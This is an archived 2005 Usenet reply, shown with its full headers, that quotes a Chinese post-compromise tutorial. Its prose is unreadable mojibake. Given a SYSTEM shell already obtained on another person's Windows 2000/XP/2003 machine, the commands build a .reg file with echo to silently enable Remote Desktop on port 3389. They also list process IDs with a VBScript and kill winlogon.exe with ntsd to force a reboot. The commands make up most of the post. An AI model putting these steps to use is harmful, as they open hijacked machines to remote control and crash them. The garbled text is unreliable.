🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: cn.comp.os.win2000
Article #191

Re: ���������ն�������򵥵ķ���

#191
From: nnix
Date: Thu, 12 May 2005 01:07
143 lines
7802 bytes
������������������������


"�dz�ǰ" <DuChaoQian@News.YaaKo.Com> д���ʼ�
news:426b290e.33011498@news.yaako.com...
> ���������ն�������򵥵ķ���    [ 2005-04-21 9:12:35 PM | Author: callcall
|
> From: Original | Online: ]       ����ҳ��
>
> ������ܵ����ֿ��ն˵ķ�������ɫ������������Ⱦ~~
> �����ϴ��κ��ļ������ն˵ķ����ʺ�win2k,xp,2003.
> ����ǰ�����Ѿ�ͨ��ij�ַ����õ��˶Է���һ��SYSTEMȨ�޵�CMDSHELL~~
> �����봫�κ��ļ�������¿����ն˷���
> һ��win 2k���ն˿����ն�
> ������ECHOдһ��3389.reg�ļ�,Ȼ���뵽ע��?echo�������£�
> echo Windows Registry Editor Version 5.00 >>3389.reg
> echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
> >>3389.reg
> echo "Enabled"="0" >>3389.reg
> echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon]
> >>3389.reg
> echo "ShutdownWithoutLogon"="0" >>3389.reg
> echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
> >>3389.reg
> echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
> >>3389.reg
> echo "TSEnabled"=dword:00000001 >>3389.reg
> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
>>3389.reg
> echo "Start"=dword:00000002 >>3389.reg
> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
> >>3389.reg
> echo "Start"=dword:00000002 >>3389.reg
> echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
> echo "Hotkey"="1" >>3389.reg
> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
> Server\Wds\rdpwd\Tds\tcp] >>3389.reg
> echo "PortNumber"=dword:00000D3D >>3389.reg
> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
> Server\WinStations\RDP-Tcp] >>3389.reg
> echo "PortNumber"=dword:00000D3D >>3389.reg
> ����ЩECHO���뵽CMDSHELL����ճ�Ϳ������3389.reg�ļ�������regedit /s
> 3389.reg����ע��?
> (���Ҫ�ı��ն˶˿�ֻ������������D3D����һ�¾Ϳ�����)
> ��Ϊwin 2k�¿��ն˲�����XPһ�����������Ч,�������������������Ч��
> һ���򵥵İ취������ntsd.exe(win
> 2k�����Դ������)����һ����Ҫ�Ľ�̾Ϳ���ʵ�ֻ��������ˣ���
> �������winlogon.exe,lsass.exeҲ���Ե������������������ʱ(��̫��~)
> winlogon.exe���رպ��������ǿ��������
> ����ִ�и�ʽΪntsd -c q -p PID
> �����֪��winlogon.exe��PID��̺���~
> ��������ű������оٵ�ǰ���н�̵�PID��
> wscript.echo "PID ProcessName"
> for each ps in
getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
> wscript.echo ps.handle&vbtab&ps.name
> next
> ��CMDSHELL��������������ECHO����Ϳ��Եõ��鿴���PID�Ľű�1.vbe��
> echo wscript.echo "PID ProcessName">>1.vbe
> echo for each ps in
> getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ >>1.vbe
> echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe
> echo next>>1.vbe
> ���1.vbe������һ��echo�����Ľű��Ƿ��д�(�����У���һ���������ľͿ���
��)��
> ����1.vbe�õ��������н��
> C:\WINNT\system32>cscript 1.vbe
> cscript 1.vbe
> Microsoft (R) Windows �ű������汾 5.1 for Windows
> ��Ȩ����(C) Microsoft Corporation 1996-1999. All rights reserved.
> PID ProcessName
> 0  System Idle Process
> 8  System
> 152 smss.exe
> 180 csrss.exe
> 200 winlogon.exe
> 228 services.exe
> 240 lsass.exe
> 424 svchost.exe
> 472 spoolsv.exe
> 512 msdtc.exe
> 616 svchost.exe
> 628 KAVSvc.EXE
> 660 llssrv.exe
> 692 nvsvc32.exe
> 728 regsvc.exe
> 748 MSTask.exe
> 776 alter.exe
> 900 svchost.exe
> 916 WinMgmt.exe
> 1088 Dfssvc.exe
> 484 Explorer.EXE
> 1444 mdm.exe
> 1340 Server.exe
> 1224 ibguard.exe
> 1252 KAVSvcUI.EXE
> 1256 ibserver.exe
> 1336 internat.exe
> 1204 Uspds.exe
> 720 bar.exe
> 1288 dllhost.exe
> 1580 inetinfo.exe
> 1672 cmd.exe
> 1464 pppoe.exe
> 1704 regedit.exe
> 316 cscript.exe
> ��������Կ�����ǰwinlogon.exe��PID��Ϊ200��������ntsd -c q -p 200
> (�����200Ҫ�滻Ϊwinlogon.exe��̶Ծ͵�PID��)���������
> ��������(ntsd.exe��WIN�Դ�Ŀ������������⼶����)�����ջ��~~
> ����winxp��win2003�ն˿���
> ������REG�ļ��������£�
> Windows Registry Editor Version 5.00
> [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
> "fDenyTSConnections"=dword:00000000
> [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
> Server\Wds\rdpwd\Tds\tcp]
> "PortNumber"=dword:00000D3D
> [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
> Server\WinStations\RDP-Tcp]
> "PortNumber"=dword:00000D3D
> ������ECHO����дһ��REG�ļ���
> echo Windows Registry Editor Version 5.00>>3389.reg
> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
> Server]>>3389.reg
> echo "fDenyTSConnections"=dword:00000000>>3389.reg
> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
> Server\Wds\rdpwd\Tds\tcp]>>3389.reg
> echo "PortNumber"=dword:00000d3d>>3389.reg
> echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
> Server\WinStations\RDP-Tcp]>>3389.reg
> echo "PortNumber"=dword:00000d3d>>3389.reg
> regedit /s 3389.reg
> del 3389.reg
> ����xp��2003�����ն��Dz����������������Ķ˿�ֻ������������PortNumber��
Ӧ��D3D�ij���Ӧʮ�������ʮ�������ʽ�Ϳ����ˣ��ü�����ת���ɡ�XP�²��ۿ���
�˻��Ǹ���
> �˶˿ڶ���������������̫����~~�Ǻǡ����Ҫ�ر��ձ�ֻ���
"fDenyTSConnections"=
> dword:00000000
> �ij�"fDenyTSConnections"=dword:00000001
Technical Details
Message-ID: <d5uaa4$tam$1@news.yaako.com>
Path: arc1-ca.pugleaf.net!g2news1.google.com!news3.google.com!newshub.sdsu.edu!newsgate.cuhk.edu.hk!news.cn99.com!news.yaako.com!not-for-mail
References: <426b290e.33011498@news.yaako.com>

Show Full Headers
Complete Article Headers
X-Google-Thread: f9c1d,3ead4280badfd60b
X-Google-Attributes: gidf9c1d,public
X-Google-Language: Chinese,GB
Path: arc1-ca.pugleaf.net!g2news1.google.com!news3.google.com!newshub.sdsu.edu!newsgate.cuhk.edu.hk!news.cn99.com!news.yaako.com!not-for-mail
From: "nnix" <nnix@tom.com>
Newsgroups: cn.comp.os.win2000,cn.comp.os.winxp
Subject: Re: ���������ն�������򵥵ķ���
Date: Thu, 12 May 2005 09:07:56 +0800
Organization: Bentium Ltd. (CN99)
Lines: 145
Message-ID: <d5uaa4$tam$1@news.yaako.com>
References: <426b290e.33011498@news.yaako.com>
NNTP-Posting-Host: 202.102.251.14
X-Trace: news.yaako.com 1115860101 30038 202.102.251.14 (12 May 2005 01:08:21 GMT)
X-Complaints-To: usenet@news.yaako.com
NNTP-Posting-Date: Thu, 12 May 2005 01:08:21 +0000 (UTC)
X-Priority: 3
X-MSMail-Priority: Normal
X-Newsreader: Microsoft Outlook Express 6.00.2800.1478
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478